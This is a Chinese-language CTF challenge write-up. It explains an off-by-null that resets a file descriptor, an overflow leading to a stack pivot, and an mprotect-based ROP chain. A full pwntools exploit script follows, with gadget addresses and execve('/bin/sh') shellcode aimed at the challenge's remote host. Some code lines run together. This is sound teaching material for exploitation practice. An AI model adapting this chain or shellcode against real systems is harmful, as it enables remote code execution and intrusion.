前言
题目不算难,多调一调就ok啦。但感觉我这个pay不是最优的,比较极限。
漏洞分析与利用
保护:没开 Canary 和 PIE
关键函数如下:
1)buf 的大小是32字节,而 fgets 了33字节,但是 fgets 本身最多读取32字节,最后会填上一个\x00,所以这里是一个 off by null 溢出,其刚好可以把 fd 修改为 0
2)通过1)可以把 fd 修改为0,所以这时 read(fd, &v2, nums_0x2c) 又会存在溢出,因为 v2 仅仅是一个 int 类型。但是这里刚好溢出到返回地址,所以考虑栈迁移。同时这里可以修改 ptr 指针的值
3)通过2)修改 ptr 的值,这里就可以实现任意地址写 0x60 字节。所以这里可以为栈迁移做好准备。但是在 mp 函数中会将 bss 段设置为只可读,所以这里无法栈迁移到 bss 上。但是程序没有开启 PIE 所以可以直接栈迁移到程序数据段,因为数据段是可读可写的。
栈迁移后考虑如何 get_shell,这里是无法泄漏相关 libc 地址的(主要是没有足够的 gadget 去控制 rdi/rsi/rdx 等寄存器,csu 好像也没看到),但是题目本身执行了 mprotect 函数,所以可以利用其来将一段地址设置为可执行。
然后 mprotect 这里的 rsi 可被控制为 0x1000,rdi 被设置为 rax,所以我们得想办法控制 rax = target_addr 和 rdx = 7,我们可以找到如下 gadget 控制 rax,但是题目找不到直接或间接控制 rdx 的 gadget。
0x0000000000401350 : mov rax, qword ptr [rbp - 0x18] ; leave ; ret
但是,但是我们调试发现当栈迁移后,rdx 就是7,然后回到程序中可以发现在退出前执行了如下操作:
可以看到,rdx = strlen(str),而 "Thanks\n" 刚好7字节,所以最后 rdx 就是7
程序返回前把标准输出关了,但是每关标准错误输出,所以重定向一下就好了
然后就是去构造 rop 了,这里就是根据读者的喜好了,exp 如下:
这里运气比较好,两段 shellcode 都是 0x10 大小,刚刚合适并且刚刚好填满 0x60 字节
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context(arch = 'amd64', os = 'linux')
#context(arch = 'i386', os = 'linux')
#context.log_level = 'debug'#io = process("./pwn")
io = remote("node4.anna.nssctf.cn", 28077)
elf = ELF("./pwn")
libc = elf.libcdef debug():gdb.attach(io)pause()sd = lambda s : io.send(s)
sda = lambda s, n : io.sendafter(s, n)
sl = lambda s : io.sendline(s)
sla = lambda s, n : io.sendlineafter(s, n)
rc = lambda n : io.recv(n)
rl = lambda : io.recvline()
rut = lambda s : io.recvuntil(s, drop=True)
ruf = lambda s : io.recvuntil(s, drop=False)
addr4 = lambda n : u32(io.recv(n, timeout=1).ljust(4, b'\x00'))
addr8 = lambda n : u64(io.recv(n, timeout=1).ljust(8, b'\x00'))
addr32 = lambda s : u32(io.recvuntil(s, drop=True, timeout=1).ljust(4, b'\x00'))
addr64 = lambda s : u64(io.recvuntil(s, drop=True, timeout=1).ljust(8, b'\x00'))
byte = lambda n : str(n).encode()
info = lambda s, n : print("\033[31m["+s+" -> "+str(hex(n))+"]\033[0m")
sh = lambda : io.interactive()
menu = b''#gdb.attach(io, 'b *0x0000000000401436')leave_ret = 0x0000000000401354 # leave ; ret
call_mprotect = 0x00000000004012D0
mov_eax = 0x0000000000401351 # mov eax, dword ptr [rbp - 0x18] ; leave ; ret
pop_rbp = 0x000000000040129d # pop rbp ; ret
jmp_rax = 0x000000000040122c # jmp rax
start = 0x3fc000 + 0x1000sda(b'filename\n', b'A'*32)
pay = b'B'*(0x1c-8) + p64(start-8) + p64(start-8) + p64(leave_ret)
sda(b'discard\n', pay)shellcode0 = asm("""xor edx, edxxor esi, esimov eax, 0x3bmov ebx, 0x3fd048jmp rbx
""")shellcode1 = asm("""mov rdi, 0x68732f6e69622fpush rdimov rdi, rspsyscall
""")
print(hex(len(shellcode0)))
print(hex(len(shellcode1)))pay = p64(start+0x18+0x8) + p64(mov_eax) + p64(start) + shellcode0 + p64(start+0x10) + p64(call_mprotect)
pay += p64(start+0x18+0x18+0x8) + p64(mov_eax) + p64(jmp_rax) + shellcode1
print(hex(len(pay)))
sda(b'data\n', pay)#debug()
sh()
效果如下: